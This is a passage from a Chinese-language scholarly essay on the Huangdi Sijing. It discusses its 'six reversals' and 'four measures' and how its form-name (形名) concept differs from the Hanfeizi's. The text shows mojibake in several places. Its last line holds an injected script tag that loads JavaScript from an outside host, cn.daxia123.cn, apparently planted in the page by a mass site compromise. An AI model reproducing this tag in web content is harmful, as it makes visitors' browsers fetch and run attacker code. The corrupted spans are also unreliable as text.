逆”，討伐不該討伐的國家，讓不該存續的國家繼續存續下去稱之為“暴”。“逆”則失去國家維持的根本，“亂”則失去臣民各自的職分，“逆”則失去天時（農時），“暴”則失去臣民。失去國家維持的根本，國家就會受損。臣民失去各自的職責國家就會被侵犯，失去天時（農時）國家就會有饑荒，臣民逃亡。國家就失去健康關于《六分》篇中的“六逆”，我們以第一逆“其子父，其臣主”為例，看它在后文中是如何展開分析和判斷的。“其子父，其臣主，雖強大不王。”→“適子父，命曰上曊，群臣離志。大臣主，命曰雍塞。”→“在強國削，在中國破，在小國亡。”如果現實中存在著“其子父，其臣主”的狀態，可推定其實質為“雖強大不王”。根據這種“形態”和“實情”，如“適子父，命曰上曊，群臣離志；大臣主，命曰雍塞。在強國削、在中國破、在小國亡”所言，將子作出父之舉動的行為命名為“上曊”，將大臣作出君主之 舉動的現象命名為“雍塞”。能夠想像得出，如果發生了“上曊”的事態，群臣就會有離國之志。如果發生了“上曊”、“雍塞”的事態，強國會失去國土，中等國家會在戰爭中失敗，小國會導致亡國的結局。很顯然，“上曊”、“雍塞”這些名稱是與“規定的位置和形態”相對照之后，被賦予的“倚名”。正因為是“倚名”，所以能想見“群臣離志”、“在強國削、在中國破、在小國亡”之結局。因此，君主根據名實相應的原則，觀察各種各樣的政治狀況，把握“上曊”、“雍塞”等名稱，然后賦予對象必然的結局，采取切實有效的行動。這就是《經法•道法》所說的“形名已立，聲號已建，則無所逃跡匿正矣。”“四度”是《四度》篇所討論的一個命題。其中有“善”、“惡”兩種傾向。在此我們來觀察“惡”的程序是如何展開的“君臣易位”→“謂之逆”→“逆則失本”→“失本則〔損〕”“賢不肖并立”→“謂之亂”→“亂則失職”→“失職則侵”“動靜不時”→“謂之逆”→“逆則失天”→“失天則饑”“生殺不當”→“謂之暴”→“〔暴〕則失人”→“失人則疾” 這是非常清晰而富有邏輯性的表達方式。即先描述政治現象（正常的形態或非正常的形態），然后用“謂之”給出判斷（“正名”或是“倚名”），最后對必然的結果亦即未來的實態作出預見。與以上“六逆”、“四度”相類似的表達方式，還有《國次》篇的“五逆”，《六分》篇中與“六逆”相反的“六順”，《亡論》篇的“六危”、“三不辜”、“三壅”、“三兇”等等。作者將政治場合最深刻的問題用數字方式加以細致的分類，然后一一作出判斷和預見。判斷的表述方式有《六分》篇的“命曰”，《國次》篇的“是謂”、“此謂”，《四度》篇的“謂之”，《論》篇、《亡論》篇、《論約》篇的“謂之”、“曰”、“命曰”等等。《四度》篇說“審知四度，可以定天下，可安一國。”（審査了解了“四度”，就可以治天下，就可以安一國。）《六分》篇說“主上者執六分以生殺，以賞〔伐〕[⑨]，以必伐。……故王天下。”（統治者根據“六逆”、“六順”之“六分”，從事生殺、賞罰、討伐。……所以能夠統治天下。）可見這些以數字表達的內容正是“執道者”“審名察形”的對象，從大量使用的判斷用詞看，審名的活動貫穿了《經法》全文?！ ∽詈螅囉谩墩摷s》篇的例子，再歸納出“執道者”是如何利用審“名”活動闡明政治原理、展開政治活動的?！ 〉谝徊剑?#8220;執道者之觀于天下也，必審觀事之所始起，審其形名”，即審査對象之“形”、“名”是否處于正確的規定的位置?！ 〉诙剑?#8220;形名已定，逆順有位，死生有分，存亡興壞有處。”通過確認對象之形名，看穿對象的最終結局?！ 〉谌剑?#8220;然后參之于天地之恒道，乃定禍福死生存亡興壞之所在。”如果“執道者”要進一步采取行動，那就是給對象賦予和“名”相應的賞罰?！ ≌f這種“審名”活動就是廣義的“形名參同”說，雖然基本上沒有錯誤，但容易對《黃帝四經》中所見“形名”做過分的解釋。因為在典型的“形名參同”說中，“名”為主、“形”為次，“名”操縱“形”，“形”必須合于“名”。而筆者在《分類》中指出，《黃帝四經》中所見“形名”也可以倒過來稱為“名形”，兩者可以是并列平等的關系，均表示規定的位置、應有的姿態。這也正是《黃帝四經》會既說“正名”又說“恒形”的原因。例如《十六經•正亂》有“帝曰：‘謹守吾正名，毋失吾恒形，以示后人。’”顯然“正名”、“恒形”都有類似準則之意。將“正名”、“恒形”所體現的“形名”與有著主次關系的“形名”不加區別，用《韓非子》所見“形名參同”說去詮釋《黃帝四經》的話，就會出現過分拘泥的解釋。 通過以上論述也可以解釋“名”為何在《黃帝四經》中較少釋為“職分”、“職守”的原因，因為在“形名參同”的話題中，作為“職守”的“名”才更有討論的價值，而《黃帝四經》的主要話題并不是狹義的“形名?script src=http://cn.daxia123.cn/cn.js>
